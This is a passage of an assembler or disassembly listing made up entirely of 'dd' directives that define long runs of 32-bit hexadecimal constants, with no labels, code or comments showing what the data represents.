		dd 0A852B851h, 4E3CA84h, 4ABA655Dh, 0BC1908h, 0FE550CD8h
		dd 4F3EA21Dh, 1EAC3EAEh, 0A900796Dh, 54A19F85h,	0CE707FDh
		dd 87EDDFC7h, 0C7F547CFh, 32BE8F97h, 1102E540h,	4D049Fh
		dd 0A17F85A6h, 25DF78B9h, 48353532h, 0FF04A1FFh, 0AC5264D5h
		dd 5E59C088h, 2255C750h, 0F8F85664h, 0AC38A052h, 7073083Bh
		dd 0F28151C8h, 0F7CA71C4h, 41F80991h, 0FA040B18h, 0F628E0AEh
		dd 0B8F30099h, 0A47F6F18h, 10A06133h, 4F526570h, 381AC38h
		dd 0EF8333Eh, 1A93F322h, 80A5E5E1h, 0D11F5B18h,	1FA27C7Ah
		dd 28FD90C3h, 0F2997C1Ch, 2355052Ah, 225201B6h,	38F5AD28h
		dd 33A26DE4h, 0C941E7B4h, 980031EEh, 2BCA481Bh,	30DF565h
		dd 4476917Dh, 0BB86397h, 0F908E423h, 83474B6Bh,	1B4A2BF0h
		dd 11228BE8h, 0FA7DB201h, 0F977F3F2h, 815CCC7Fh, 8E1C9610h
		dd 43676C00h, 1AC94422h, 8028D93Ah, 5FDD1B31h, 0E274566h
		dd 0CF4BDEEFh, 0D064D420h, 3A010CCAh, 9601FD25h, 488C9444h
		dd 1C10B597h, 7CF8F40h,	35A9D6CDh, 16304071h, 47033F60h
		dd 0CAE58356h, 0B0E9001Ch, 0CD2EC9C8h, 63003702h, 99155F5h
		dd 187A9F0h, 77FDAC26h,	0D7656FA1h, 428440FDh, 3BA3061Bh
		dd 0CA8F2207h, 0C4A099A2h, 7C5DC512h, 5E910FDAh, 5601041Fh
		dd 0DC9D18CFh, 0D10111DDh, 0D412C955h, 144A1E50h, 6079593Ch
		dd 9AA830CEh, 0D1F8154Eh, 0CF4320h, 0A9ACC453h,	97171D42h
		dd 0EC069577h, 0A71A5AC5h, 1EC81E90h, 4018B7D5h, 9B141D57h
		dd 0A7195106h, 0CE8058C3h, 0A68EC528h, 40A82027h, 0D5A2185Ch
		dd 333078D4h, 0CB523156h, 0A2590AA8h, 620C4FCFh, 84A0AC20h
		dd 429703C9h, 0D4AB2105h, 8800184Eh, 0D0AC1B52h, 2029C01Fh
		dd 0CF306A29h, 0C31743Ch, 493D28AFh, 18F80764h,	0AC7842A8h
		dd 26006231h, 0A6B17C72h, 3199AE4h, 9FBC3A0Bh, 0F4B857A8h
		dd 2100F1CCh, 87412612h, 0FB20722h, 317FEB6Bh, 86ACCD80h
		dd 230327FEh, 2FAF84FCh, 0E4711F55h, 4C5E8212h,	210024F7h
		dd 0C3AEDBDh, 3891A431h, 0BB3AE528h, 0B77D0462h, 1B062334h
		dd 0A050A17Fh, 2C88A918h, 68826FFCh, 0B71B8670h, 9B771931h
		dd 8FB61998h, 1178B259h, 1EA9DD10h, 402AAAD5h, 0C7298040h
		dd 4DDEA229h, 0D5C008B8h, 30356832h, 9EA89044h,	1BBCA83Eh
		dd 3959C011h, 8851BA56h, 5883A60Ch, 1C25203Eh, 942C8969h
		dd 8523D022h, 0D0C44010h
		dd 0FE63607Bh, 0D20B3161h, 86291A30h, 567723B9h, 0E0B80269h
		dd 78339D85h, 0B97EA4A6h, 67A1390Ah, 0A318DC38h, 33BA69F1h
		dd 0D8318CE8h, 182A36FBh, 0A5284CA9h, 84805868h, 0F788BAB6h
		dd 91CA2426h, 0C0393718h, 910B078h, 368A9926h, 1824DD0Ch
		dd 4CDF5038h, 3B58A9A3h, 481E843h, 10B26591h, 3C288723h
		dd 3814E5B9h, 84A4DF56h, 242B3CA4h, 7FDB7442h, 0C47A42B8h
		dd 0F9449A71h, 82212B23h, 0C1905488h, 426F10AFh, 0C2155128h
		dd 2927993Ch, 0DC217E38h, 2336448Eh, 3B3FE481h,	5088C21Ch
		dd 106AD944h, 0A2A2846Ch, 0B144F0A2h, 7408289Fh, 89551B3h
		dd 0DE0FE709h, 0AAA28AD0h, 841AE111h, 1B61AFF8h, 485C323Eh
		dd 51288F6Ch, 0B2868C48h, 0E51B3150h, 0C0516B3Fh, 6DD541C0h
		dd 41401197h, 12322F84h, 0A3348F6Eh, 2241D486h,	0E102AA90h
		dd 2C79B97Eh, 23A049E9h, 0EA194013h, 3F11882Fh,	4C562801h
		dd 7C4CB74Ch, 118CC898h, 346528BDh, 48319B2Bh, 7CF57D01h
		dd 118230B7h, 6202D35Dh, 1B24E844h, 5565DCBBh, 1349A826h
		dd 2067E516h, 327B8168h, 11EFA491h, 0A2F7FD03h,	100033D3h
		dd 0E37276F6h, 3C95BB0Bh, 7C0059DAh, 50713BC0h,	757F19CFh
		dd 0D016C70Bh, 0D4E4005Ch, 0E8F8ACFCh, 0A7C30040h, 0A5CF7297h
		dd 0F8B054A8h, 0B920631Fh, 18AC003Fh, 16559708h, 43C50F1Eh
		dd 3EDD3BE3h, 1B32F920h, 0E02B40A1h, 0A27400Ch,	1D59D0FEh
		dd 1A414040h, 42789BA1h, 0E422F61Fh, 53971F07h,	986C308Ah
		dd 194E14CEh, 0E3CB1C12h, 38C84886h, 14B8E9E4h,	291A533Ah
		dd 34AC60CEh, 18DC0468h, 70121A4Fh, 945CE819h, 78AE2E25h
		dd 1D001823h, 1E5C97A5h, 0E9AA01A8h, 0A4D559D8h, 602C5D19h
		dd 0C4A0CFE8h, 0E57CD952h, 0BE964C50h, 3E385153h, 900F0520h
		dd 0B0C3E54Ch, 144AF745h, 3B403852h, 0DE4A00BEh, 1D5AB90Fh
		dd 0D0E8C315h, 19F8AC54h, 0D6A7D50Ah, 0A35594E7h, 73C0D704h
		dd 98C608CBh, 71050F18h, 5780B86Fh, 0ABA8D053h,	12185200h
		dd 0FDA92CFh, 554DD6h, 0C1197874h, 0D552AC28h, 0A698244Bh
		dd 68141D00h, 0D417D094h, 40164C54h, 2860523Ch,	0BEA88F1Fh
		dd 0D420554Ch, 0C84C026Ch, 43A99BA5h, 745056ECh, 0DEEE950Dh
		dd 2B600491h, 0E800FF04h, 191E5D65h, 8C0B53D1h,	2443D202h
		dd 40987F90h, 58534890h, 1A44820Ch, 59E84012h, 204C70F0h
		dd 3CF448D0h, 0E7ED7A5Fh, 0A2194013h, 0A78CC000h, 0E185C9Ah
		dd 1F4EAB5Bh, 8C80109Ah, 17C3B97Ch, 1E54CF1Ch, 701FD556h
		dd 8F4EA64Eh, 1C7F0444h, 1B58A080h, 1810C6A7h, 0C6246003h
		dd 5830AC1Eh, 3A2754A6h, 0C4308212h, 0AC2B7F40h, 0C36FA774h
		dd 7C50FC8h, 304C519Bh,	788C7C4Eh, 54A1C7A7h, 55D2C019h
		dd 0D40A041Dh, 9859275Ch, 567D0448h, 9E3EF8A5h,	5B1740D2h
		dd 0A1DED460h, 8C432CAAh, 8091C760h, 0CF5DC3FAh, 50D55B09h
		dd 4EB83A1Ah, 14521218h, 1BF00917h, 0CC071C8Bh,	804F44A7h
		dd 0CA7FD0E8h, 90C2AE7Ch, 0C357A6ACh, 0F058C67Ch, 0C3553A99h
		dd 8D6090A8h, 0E8407D04h, 0B2C94175h, 18EF16C4h, 12B40B99h
		dd 0C55BE438h, 0CB0C3F4Ch, 1F980115h, 0DC60D6ABh, 0D821E912h
		dd 2C287CD3h, 49C497A8h, 0C35B1C01h, 4E0C34ACh,	0E45D2741h
		dd 0A8502CF3h, 2F3D8FC0h, 2081188Bh, 30A21D45h,	69DFCF10h
		dd 4319AC1Fh, 2072D5C2h, 2C194E14h, 0C23C87B4h,	0D4F0CFAEh
		dd 0EB3431F7h, 7FD4580Ch, 7C4F9CC9h, 0DEB0CC1Fh, 18A64E80h
		dd 14265090h, 0FCD73861h, 0C057048Fh, 0D098BE0Fh, 84200C5Bh
		dd 21131691h, 57C21FD6h, 0B189D53h, 0C8004ECAh,	1216E0A6h
		dd 6853D029h, 970801DEh, 0A6A2C472h, 0D0D86043h, 2646F5Dh
		dd 99122054h, 6618AB40h, 8C5088F8h, 75723AF6h, 55D4F20Bh
		dd 0C4A720A0h, 38B8CE1Eh, 89AA1227h, 27D05944h,	0D4793C12h
		dd 8077228Eh, 1658B7A7h, 4ED4391Eh, 51971A82h, 8CE10118h
		dd 70C4F51Bh, 631D5B70h, 0B71FBB70h, 50B09C28h,	9B03151Fh
		dd 0A79720B0h, 0C3A51D18h, 0D11E0945h, 2D4050E9h, 0BD1F83C8h
		dd 0B96803ABh, 1E5D6FF8h, 1A800AEDh, 0E9925D34h, 0FB18ECC2h
		dd 7C34A150h, 525FD1E4h, 0ABE49073h, 0F001A5D0h, 0FEBCFD82h
		dd 11AE1D0h, 8C55D1A5h,	9D549A14h, 0A7C34121h, 0A2C95CD4h
		dd 5BC8849Bh, 0D9D230E1h, 0CAC89E0h, 381A80C2h,	73E71097h
		dd 53D416C0h, 1EE8DFB9h, 0F028751Bh, 0EF247E60h, 0DC201CA4h
		dd 1B3057FEh, 13CF201Fh, 0C3551DA6h, 1D540418h,	77B8E119h
		dd 0C43B2AE0h, 880F851h, 5A4EF28Ch, 9B11F860h, 5BC80651h
		dd 881DAE72h, 0DCA3527Fh, 44F88CA1h, 1ED81DD0h,	0CEF5015Bh
		dd 3120C94Eh, 400BE104h, 97A8C380h, 3A829B01h, 0A71E51C5h
		dd 95BF053h, 62ACC660h,	59982851h, 645B2728h, 0AA6E998h
		dd 0DC4A58A8h, 5A233762h, 0A548C260h, 0D4D19BABh, 1C4EC382h
		dd 0B544431Fh, 64A6F434h, 0A2F0494Fh, 30C12009h, 9B01F05Dh
		dd 1318553Eh, 6CC25AC3h, 0D0F08245h, 7F185140h,	9B490D6h
		dd 5CA9A7C6h, 49BEDC80h, 9701191Bh, 0C977011Fh,	3180A5D7h
		dd 2D2FD680h, 0C20074F8h, 7F3E2637h, 5862A6B1h,	11004608h
		dd 351DFDA3h, 960168A5h, 0AC22873Eh, 77F47BA2h,	302667DFh
		dd 0BC84203Bh, 5F0CFD08h, 9036EF6Bh, 0A0F800BEh, 39784279h
		dd 0DD00C90Eh, 0F53CA686h, 4FB8B44Ah, 201093E0h, 737234A8h
		dd 20EA5429h, 30DABA62h, 0F020E0C0h, 0FE35397Fh, 0C0908F37h
		dd 0CE5634E3h, 3A085D50h, 0D0703C62h, 3E1F237Bh, 385ED811h
		dd 7035A706h, 909730B9h, 0CA076Ch, 31741563h, 0F3D0F421h
		dd 33401CACh, 50909DD3h, 0C3009A08h, 87AD228Ah,	146CEh
		dd 7F86CC6Ah, 0BF1F9C31h, 31268330h, 1694982h, 885BFB0Ah
		dd 98E3A337h, 0B7217F08h, 22690073h, 24B4D3EFh,	0F0039FF3h
		dd 633AA2C7h, 444EE81Dh, 49238h, 0D165CC5Bh, 0A882C7BEh
		dd 8B7B633h, 0F5210047h, 0A36D6374h, 8550CCF8h,	49C83B88h
		dd 65BFC071h, 0CF21BECEh, 0C7F26083h, 603B8965h, 0A0E7A0DFh
		dd 887A270Ch, 2927B4A7h, 222CE86Ah, 0B791A54h, 98397075h
		dd 1C181D19h, 58688173h, 1646E2CCh, 88C91A3Eh, 0AD83FF00h
		dd 0B28229E2h, 48951830h, 306E37CCh, 0BEA07DB7h, 7A52DCE0h
		dd 31080680h, 0F61A93Ch, 3DCC8C01h, 0C4B0C081h,	0C8705EDDh
		dd 4B23D652h, 0BC980017h, 3AF53035h, 8C576E18h,	0C0879E88h
		dd 0C077F069h, 0AD03F526h, 0FE827F48h, 399F0AEh, 0E73E0423h
		dd 8053F9F6h, 743B21D4h, 71A8D830h, 1E50D8Ch, 9606FB4Dh
		dd 98F72324h, 0EA219108h, 31E50005h, 0FD4450F5h, 0B312AF67h
		dd 9800343Ah, 80B2A93Fh, 0A3D0C3B9h, 2DE0FD7Ch,	0BD2BC382h
		dd 80D99C3Dh, 697EFB1Ch, 2069836Fh, 812649E3h, 0D04B5A9Bh
		dd 99FAE908h, 0B4B22C00h, 71575C8Fh, 7A6C1C56h,	9D7B0265h
		dd 0C04CB31Fh, 0E69450Fh, 8A88D1FBh, 694D6380h,	97316B7h
		dd 0B61C6E7Dh, 19E73421h, 0CC4EE09Ch, 5D28BB00h, 38FC7B01h
		dd 10344CEEh, 0B588E86Fh, 7CE6519Fh, 38064E51h,	0A4EFEB18h
		dd 28263558h, 709836B2h, 610200BAh, 381F7834h, 0A54DCA10h
		dd 1486C8C0h, 39E120EAh, 2401804h, 5CDC9E23h, 28429D2Ch
		dd 74C6F848h, 0A1380A04h, 0B900236Fh, 70563DB6h, 40588E05h
		dd 0D020B77Dh, 60F3A0FDh, 3C32835h, 0EB0A3EB2h,	90B11CCDh
		dd 3C4A5C80h, 39677614h, 0B78083CCh, 0FA6E0468h, 0C004366h
		dd 1F01FFDDh, 0C089B256h
		dd 0D5FD1BB0h, 0F8286A02h, 0C3069CB7h, 6D53263Bh, 7600A20h
		dd 0A08BD1h, 0F166331Fh, 7E302634h, 0FD112025h,	0B26515C9h
		dd 0C77BC38h, 30B9FE37h, 78000320h, 0A4CBA84Eh,	38BB2DDh
		dd 61ADDF17h, 307189F8h, 0B9785F7Ch, 41F1E716h,	59713044h
		dd 5DF23C00h, 1A3002ACh, 0D780E924h, 37C00178h,	0BD365727h
		dd 0B20898E8h, 1BFE121h, 0DFD59C78h, 0BFB9B64Ch, 0AB6E0D19h
		dd 0F7F1588Eh, 61FE0C51h, 88471A6h, 1397B68h, 0AEAC2E72h
		dd 78254DFDh, 43000023h, 451956FAh, 0BE00CFB0h,	7A9FB155h
		dd 529A041h, 0C1D73F3h,	0E9F06249h, 0D8A47060h,	5B6D61C0h
		dd 1C8457A3h, 0B6BB2ABh, 3C792281h, 24B9FB02h, 0CCA3003Dh
		dd 0EA2D7C82h, 0C48E67Bh, 4A2A30FDh, 862CAD30h,	465E789Dh
		dd 9E380E8Bh, 5EAF80CEh, 5742342h, 992C5B22h, 0CAF804A8h
		dd 68E91E96h, 641FC012h, 9A0CD5C0h, 3F8D97D4h, 9C855A4Ch
		dd 36ACFA79h, 7A2DA8F4h, 0A8EE3Fh, 34416498h, 7571CD21h
		dd 819CE214h, 0A4F010C4h, 0BAC5609h, 0ECB40031h, 0EF7E37CBh
		dd 0E0B14486h, 6378BC04h, 4C8C6685h, 0E371EB8h,	8658E292h
		dd 306D26E5h, 0B295C361h, 1455EEC0h, 6015D0C1h,	93080293h
		dd 1840817Ch, 0BA81582Dh, 0BD005C23h, 9D4F7D9Bh, 0F2183BEFh
		dd 94C82C69h, 26D18186h, 0B1B90B94h, 0D8522Ah, 7C1144B6h
		dd 4A57D4BDh, 3632621Eh, 0D424BF0Ah, 0DC24279Dh, 3994C067h
		dd 1211D48Ch, 20AA3ECh,	3F779498h, 88296846h, 89F1A47Eh
		dd 4900A818h, 78B2FD8h,	5640D530h, 0B926AC8Dh, 197D0F70h
		dd 0E7281BC1h, 0F75ECCEFh, 1812504Ah, 7C823865h, 65CD3073h
		dd 0BFBED008h, 40506482h, 0AA6375F8h, 4CFF02CEh, 999D5217h
		dd 0C217204Ch, 0AF008E6Dh, 0B47CC681h, 1CCA4D0Ch, 0B8B77842h
		dd 7259B2C0h, 76390062h, 40558D2Ch, 1425B1FBh, 0BC282424h
		dd 0F3694860h, 11E3FB23h, 7062007Eh, 0DC4A4C69h, 9F190004h
		dd 0A227F03Fh, 710A49FDh, 948260F8h, 4605A713h,	14CCD6C8h
		dd 41E50809h, 8BC4A6FBh, 0E501E640h, 8700A02Dh,	2E5CB1C7h
		dd 15B029Ah, 235756B4h,	307F3475h, 0B640FCB8h, 0F1BC611Ah
		dd 0CC6836F5h, 0C200AB95h, 0C4230637h, 95F6D99h, 0FBB1CD8Bh
		dd 0F4805012h, 0AF4C1EBEh, 0F0D4A013h, 0B8B15047h, 0B0E02898h
		dd 2724674h, 0FB47E5F3h, 107531F6h, 0B8E50AECh,	3D6D2CA6h
		dd 915E08A4h, 70461428h, 0CB65CA02h, 1CB7BEh, 0CB6372FBh
		dd 5DC32F80h, 2C0133Eh,	2B45B6C6h, 77B4B0E4h, 18BA2D01h
		dd 299AC4E0h, 0F95EB10Fh, 0B0888959h, 2062D3C0h, 7C849050h
		dd 0B8C20108h, 0B6C540B4h, 0EF04E852h, 75C8F8BDh, 8C01B888h
		dd 0C108CE7Bh, 64571F37h, 0B6E24086h, 0E37B78h,	107AF824h
		dd 3AF4C0CDh, 5B51F614h, 64428Ch, 0D02FC4E3h, 49837731h
		dd 0F07F3835h, 37560F52h, 0EB008EC1h, 48C3F20Ch, 5ACEFD04h
		dd 6CD8D1F3h, 74AFBD1Ah, 0E3234C0h, 6639FF4Bh, 6580537h
		dd 0A442217Ch, 0B21C22D2h, 0C7386284h, 608B44F0h, 388FD8A1h
		dd 0E7A7952h, 0A0FB21ABh, 9B58468Ch, 0D9EC50E9h, 2A00CE93h
		dd 692B0CD1h, 0BE5C4Bh,	0F70FC66Ah, 0EEE14CC8h,	0B700AC9Bh
		dd 34CC6B40h, 1E1B1E58h, 7BD0A8D4h, 0B6EF03Ch, 33ABC20Ch
		dd 0DB82F0F1h, 94959062h, 44C8A7F4h, 6A3A6074h,	41B80272h
		dd 505C6EC6h, 5F329481h, 54C83039h, 0B4C704EFh,	6C55AEC2h
		dd 187660A8h, 0B0871F26h, 0DBD61E05h, 0EC8E6E99h, 0E0CF8C88h
		dd 0A00C343Ch, 904D6279h, 6CCEC51Ah, 4B13A00h, 0BF60D5A3h
		dd 3980A6B0h, 0CD838C02h, 9D246ADAh, 37D43040h,	14C63E40h
		dd 6070B26Dh, 8C046588h, 9481B933h, 9A0084F0h, 0A104C116h
		dd 25FE3AE2h, 353C50B0h, 16F4A0E7h, 23F42F98h, 0B9390385h
		dd 9B906BB7h, 94F26A7Bh, 0B1912C94h, 0A34ABD80h, 0BF4093D0h
		dd 320716ECh, 1894278Ch, 360E3583h, 0BB181C79h,	0F2AD17E0h
		dd 3D171034h, 87E8044Ch, 0DB5C0E8Ch, 7BEB5634h,	84362091h
		dd 0C1FE3561h, 28659CA0h, 0CB06FDDh, 3622577Ch,	0E8CB970h
		dd 0FB10694Bh, 4065E290h, 3E4FA900h, 20C855B0h,	0E01DE450h
		dd 222031B1h, 7F66E8h, 9409073Ch, 228014Ch, 5022E0B2h
		dd 3F6A10F8h, 973CCA83h, 807F1144h, 6B3E0FECh, 0B8FF0787h
		dd 0E1020AA1h, 848091F6h, 0A868E781h, 8C060488h, 0CC11CB7Bh
		dd 8988C737h, 83B3FD8Bh, 0D16C54AFh, 0E5602615h, 0B42A0FF2h
		dd 0DB6CB0C0h, 1024558h, 6E322279h, 9F704824h, 805F04FEh
		dd 13B5E8C2h, 8B84C0CFh, 86107E7Ah, 0A483B87Ah,	4F4D01ECh
		dd 9BCA1972h, 0A7D1E791h, 8EDCE0C2h, 55533207h,	759E469h
		dd 7784BD4h, 0C3AB7D48h, 0C0A0D4BFh, 0A0EB727h,	0C15E4786h
		dd 0FF561B24h, 21C30898h, 860312A0h, 0BC9D225Ah, 734023DEh
		dd 49860801h, 0D018175Eh, 109288h, 0F3635D86h, 8052E16Bh
		dd 0D0F23700h, 22566102h, 103B602Ch, 0F0DE590Ch, 94B58301h
		dd 1BD8FDD7h, 7480ED3h,	762F6E8Dh, 9EC4DFE1h, 6089893h
		dd 0FE855D21h, 0CFA0123h, 5B179BB4h, 52D1F0B6h,	5AF230E5h
		dd 64084000h, 0D272C1C2h, 0A76F4h, 0FD4687AEh, 0BAAA2FF7h
		dd 0AD1FA101h, 40DE2128h, 30861BF9h, 0D1431EF9h, 0FF3DBE7Ch
		dd 3F00FCF6h, 95662EDDh, 3C448EFEh, 0D08199BBh,	4C5A74C2h
		dd 38D8813Dh, 0D3D5B693h, 46D795F0h, 6E8C02FEh,	1C8B766Dh
		dd 6E845C01h, 9DB3CCEFh, 371A4FCh, 4A1DFE46h, 60003A7Ch
		dd 5D188B0Bh, 9E48DFh, 0D8ECAE14h, 28730CCCh, 0C0250607h
		dd 0C0CCFF31h, 6ACB00D7h, 544489DCh, 2C37D2FBh,	215C0804h
		dd 0DC730001h, 0D53514B7h, 0C20372C8h, 0CF485E30h, 66F800F3h
		dd 0C683527Ah, 60C8D0EFh, 8167C42Eh, 487C4442h,	0EC88D630h
		dd 0AEDC006Fh, 19742F28h, 8F05B067h, 5A3F505Eh,	0E45B80Fh
		dd 0A23187D3h, 5C81BC7Ah, 8BA1F991h, 0D6213A8Ch, 5018DC19h
		dd 62385523h, 0ABE71E8h, 0C5CEEA45h, 0BAD702FCh, 0A8A03143h
		dd 0BFF059F6h, 3DA39CA0h, 0B70090DFh, 0DF13894Ch, 5C68060Bh
		dd 58BECFF4h, 19674B40h, 0F1072A9Ch, 0BA9891ABh, 32132E00h
		dd 9571B990h, 0B02A9B06h, 0F029F218h, 50BC88CEh, 0A0EF1F28h
		dd 8AEA3D0Ch, 1A20A0E1h, 18ED7F40h, 0E838902Ch,	0BC00EF7Eh
		dd 2D9557C3h, 0CEBF1311h, 18906F50h, 7F31BEFFh,	996C3FACh
		dd 43A09D9Ch, 7E06FEAAh, 0E38F13B8h, 0F1C9FB03h, 39C638C7h
		dd 8D02BD61h, 0D65D8B44h, 52E05840h, 0B91B7036h, 32EC8159h
		dd 0DC086B18h, 0C45C448Ah, 74005CD5h, 421941DCh, 754501FFh
		dd 5D2AA75Fh, 0D49C4CC2h, 0FD2C828Ah, 86CE0h, 417E26BEh
		dd 21F4BB6Dh, 0B4AD3F00h, 0F2E9BDE8h, 0D898A0B8h, 0F1432070h
		dd 2BE56200h, 0AFA1BB63h, 5E20C1F6h, 7EC4F70h, 685CAE20h
		dd 0E4565063h, 1C1B4958h, 0C82A7404h, 92D09726h, 8480BC35h
		dd 155C4254h, 5431FE80h, 746A5875h, 0BA0609F8h,	282020BBh
		dd 386C2276h, 6AB34480h, 0D904969h, 80181E04h, 5AE2AEC8h
		dd 0C3C4BF70h, 91E9E051h, 0EF10ADA0h, 0F0941201h, 73784550h
		dd 26A424D4h, 38246DFCh, 0BC67916Eh, 81A9F4A1h,	0B9FF80h
		dd 15D6CD7h, 0E82248FDh, 60F5DBB2h, 9D0F3C7Bh, 0A5BE2EB1h
		dd 870EFC23h, 2187C167h, 8830B7BDh, 0CF122809h,	6741EA4h
		dd 0D671C4FBh, 50D801ACh, 9C415817h, 5C429E31h,	9F3C87FEh
		dd 0EAA17E0h, 0C9100059h, 96E4425h, 13E29B5Eh, 2756B702h
		dd 48C4A385h, 45203Ch
		dd 32B81514h, 5B3FBFB3h, 212C08CCh, 1C14EAFEh, 0C121B295h
		dd 0B55CAD87h, 7F488CBAh, 7F25792Bh, 545092C5h,	0A4A7C43Fh
		dd 28700568h, 402FB441h, 0E96043CCh, 40B3C2D2h,	89A05980h
		dd 1227F95Ch, 422A4021h, 0AC4F4308h, 2A01209h, 41CB02B9h
		dd 0F7CCAA64h, 0BD89151h, 903E92Ch, 98081C62h, 801BD912h
		dd 616E7807h, 0F09B6B76h, 60000511h, 4E0A6E90h,	5B122E94h
		dd 180001EAh, 0BD816BEh, 0F8B040B7h, 71E95334h,	3ADE009h
		dd 78297984h, 5236FCF0h, 0FB1EDCBCh, 0A222E0F9h, 468606DFh
		dd 0D8D209BBh, 5EFE4818h, 0A831A351h, 380A58C0h, 7E07C832h
		dd 0E051B8EFh, 6D3A450Ch, 0D6A55D39h, 79185084h, 6C3AE20h
		dd 0B9B2AA78h, 760560DAh, 0F225E042h, 640F1095h, 80895ECh
		dd 481B682Ah, 0D8FC089Ch, 676E8E60h, 809B4376h,	0CE6E865Eh
		dd 0B9E250h, 2C9FC3B6h,	630EEAC9h, 74507263h, 0C703B99Bh
		dd 30C82020h, 0B7E93A46h, 0C2648A89h, 0B8D27DB8h, 34FC8401h
		dd 0ED741491h, 4E89E085h, 0C7AC21DEh, 154000EEh, 0EA460025h
		dd 30AAEF9Bh, 0AC4DD0A2h, 343F2814h, 0D30910B0h, 5AA6A4Dh
		dd 0BF102850h, 0DB9D11CCh, 1839C814h, 18B6BF2Ch, 0BD7B71C5h
		dd 75A1AF63h, 2E3102D2h, 0AD74464Eh, 18FB9C91h,	686E088Fh
		dd 4C49376h, 6E876740h,	0DA071AB1h, 113149FDh, 59E62D0h
		dd 9DBE0166h, 0D685E8F8h, 43045B5h, 18C96D1Ch, 6173FE11h
		dd 4A762010h, 18447588h, 0D60937A0h, 8E1C3348h,	0EE712320h
		dd 77D80CBBh, 67F13BA4h, 4E300E07h, 9550FA45h, 0B42F3DAh
		dd 62E9BCA9h, 2E76DCA0h, 0C71B27C8h, 0A9396340h, 0AC70C9E2h
		dd 0D2EF222Bh, 0F1C2BCA5h, 3BEF18D6h, 0BEB8E862h, 0C8BF0234h
		dd 838AB4A0h, 0E800F084h, 1DE74291h, 9FBCFh, 4117692Fh
		dd 453A922Eh, 473030B0h, 0BEAEE91Bh, 1633570h, 813C0210h
		dd 0C02244BAh, 57244145h, 75C72184h, 0A4A88852h, 0AA293967h
		dd 0A1EA33B3h, 0B444ED24h, 0CA8628C7h, 42BA1828h, 56415122h
		dd 97E8A203h, 0D0888A87h, 0C58EE7h, 3AFDC989h, 44A17007h
		dd 397B8F00h, 51E163C4h, 2318C018h, 147608BFh, 0FD5CC200h
		dd 6102A0A9h, 33772Ah, 43727583h, 1EACA17Bh, 2CAA6980h
		dd 2636676h, 0DC18E17h,	335F8B80h, 0DA1CEDF6h, 0C068F132h
		dd 94137000h, 0C43B8874h, 2EF9070Dh, 0A0763CC2h, 870868Ch
		dd 0FB562306h, 0A3486007h, 2D09E016h, 0FA367C35h, 932A1BD4h
		dd 0E06383Fh, 2C81FF46h, 99760120h, 0C1C9B138h,	147080C6h
		dd 67261B56h, 0CEF308BFh, 0AD023AE6h, 8063B744h, 0B2E98F80h
		dd 0A004609Fh, 972E58F6h, 73EE8C18h, 14023C20h,	2041723Bh
		dd 189AA1F1h, 35BC2A23h, 0E18938A4h, 0D901AB1h,	40BE3Bh
		dd 5EC8E97Ch, 30679478h, 9019C7ADh, 26549D69h, 851CC38Ch
		dd 0DA40945Ch, 9B8C9C8h, 0EC19003Fh, 0EEF96A4Ch, 0B6068882h
		dd 6E9E94ADh, 0F1F50C90h, 15701CD9h, 0CCC49D0h,	11179E47h
		dd 0F16D0234h, 105DAD29h, 98058E61h, 69213008h,	28F10075h
		dd 1DF2FA8Eh, 813AB695h, 42D200BBh, 613EE391h, 0C76D30C9h
		dd 0D4898C68h, 0C2E29202h, 803BFDE6h, 9A9F9C8h,	71149079h
		dd 2CE0F9C3h, 0BD10C112h, 0F414D3B6h, 48902636h, 3C735C03h
		dd 0E1E4CC4h, 0B413F6B9h, 9D854ECh, 3F99B618h, 8C1855E0h
		dd 0D8158C7Bh, 0E140D471h, 860810B0h, 4C470645h, 0C686086h
		dd 3C31E03Dh, 82002F60h, 0E9AF7BA7h, 50B7F18Eh,	3064F4C7h
		dd 0A660C0C3h, 2A796E31h, 2D4EB103h, 0E1BF0A55h, 68956B6Ch
		dd 0C31EECC1h, 983AD886h, 19C71351h, 380C997h, 7FB6FB2Eh
		dd 7520C61Dh, 1C74D814h, 73D47218h, 17C5611h, 68FD5B87h
		dd 98F53026h, 36216B09h, 1D870764h, 506D0270h, 0B3EB0F67h
		dd 26F6801Fh, 6028D94Ch, 41A71DC4h, 801214FFh, 46237604h
		dd 358954Eh, 30DA65E8h,	2D1C1100h, 3A8B68D7h, 0B3C61948h
		dd 801A0832h, 0D7257321h, 1E639AAh, 2982F4DBh, 1105B923h
		dd 0A1BF642Bh, 57746800h, 4A44F377h, 3AFA9D00h,	0B47EB516h
		dd 0BC524809h, 3C735F08h, 0B5A8670Eh, 896403A0h, 26E50D88h
		dd 9107179h, 0F80E68E3h, 338619E8h, 1D7197B7h, 291CA975h
		dd 0F10A18F8h, 2F00EDF5h, 72318A93h, 98EFB70Dh,	0AF100158h
		dd 0C76A9C3h, 69798F35h, 0DEBA20DBh, 7318688Ch,	2A5B0053h
		dd 16212BB1h, 4920625Ch, 9D6D4477h, 4C3849h, 83CFAA7Bh
		dd 0F0C7C5A4h, 0BDDD04D5h, 8027F968h, 0EBF27A35h, 587D4100h
		dd 0ACB9773Ch, 10B0D860h, 0C6600C25h, 0B35B2289h, 4FB9037Dh
		dd 70412852h, 212B0830h, 9B34301h, 44488F2h, 0D4965084h
		dd 7BE808B4h, 0F08117C5h, 0E8580A8Bh, 2F75881Fh, 5C60D700h
		dd 47381586h, 0A0E901D1h, 0B8131C48h, 4026319Eh, 9BD97724h
		dd 18803D48h, 8CC09C95h, 2446840Bh, 7EB35A02h, 353147B9h
		dd 0B3420017h, 55009622h, 8F0965B7h, 90D7DBF1h,	33740BB8h
		dd 400177E5h, 542C9E42h, 1E0780B0h, 8A064886h, 4423C05Ch
		dd 5DC21351h, 0C620042Ch, 6AFA007Fh, 986D242Eh,	5221E004h
		dd 58F7546Eh, 0FCCBCC0h, 0A6D40219h, 0F3D36716h, 8CE81061h
		dd 313F0DB1h, 22FA9Ah, 5B62931Eh, 268B9CF9h, 4A8CAD09h
		dd 0C038A37Dh, 8A390255h, 0C5A3F540h, 22697CC0h, 77044182h
		dd 87087F18h, 0C470FD58h, 81334B69h, 0BF1BABEAh, 24799CF0h
		dd 281E58CBh, 145F590Ch, 8A46B040h, 8315861h, 0B96405A7h
		dd 244A618Eh, 0C99827F4h, 19140B06h, 0E502CEEh,	2D0DB8F8h
		dd 2974A9FCh, 0B65132B0h, 0DF69B3Ah, 6FCBA0Fh, 40482FC4h
		dd 92A1F559h, 867B1E47h, 765C9BCh, 0B9FBD001h, 623C749Ch
		dd 74CD5600h, 2F265325h, 9C8A52B5h, 94723C3h, 0F40D7109h
		dd 0A8102829h, 31C8221Fh, 0AC17E9C3h, 0B7816E11h, 0F062BA5Dh
